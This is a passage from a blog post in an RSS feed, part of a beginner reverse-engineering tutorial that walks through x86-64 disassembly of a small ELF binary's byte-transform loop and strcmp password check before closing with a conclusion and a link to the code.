11860x7d3: cdqe
11870x7d5: lea rdx, [rax - 1]
11880x7d9: mov rax, qword ptr [rbp - 0x10]
11890x7dd: add rax, rdx
11900x7e0: movzx eax, byte ptr [rax]
11910x7e3: lea ecx, [rax + 1]
11920x7e6: mov eax, dword ptr [rbp - 0x14]
11930x7e9: movsxd rdx, eax
11940x7ec: mov rax, qword ptr [rbp - 0x10]
11950x7f0: add rax, rdx
11960x7f3: mov edx, ecx
11970x7f5: mov byte ptr [rax], dl
11980x7f7: add dword ptr [rbp - 0x14], 1
11990x7fb: cmp dword ptr [rbp - 0x14], 8
12000x7ff: jle 0x7d0
1201</code></pre>
1202
1203<p>And this looks like our <code>strcmp()</code></p>
1204
1205<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in
12060x847: mov rax, qword ptr [rbp - 8] ; *pw
12070x84b: mov rsi, rdx
12080x84e: mov rdi, rax
12090x851: call 0x670 ; strcmp
12100x856: test eax, eax ; is = 0?
12110x858: jne 0x868 ; no? jump to 0x868
12120x85a: lea rdi, [rip + 0xae] ; "haha yes!"
12130x861: call 0x640 ; puts
12140x866: jmp 0x874
12150x868: lea rdi, [rip + 0xaa] ; "nah dude"
12160x86f: call 0x640 ; puts
1217</code></pre>
1218
1219<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
1220
1221<p><strong>Update</strong>: It’s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
1222
1223<h3 id="conclusion">Conclusion</h3>
1224
1225<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
1226
1227<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
1228
1229<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
1230]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
1231</rss>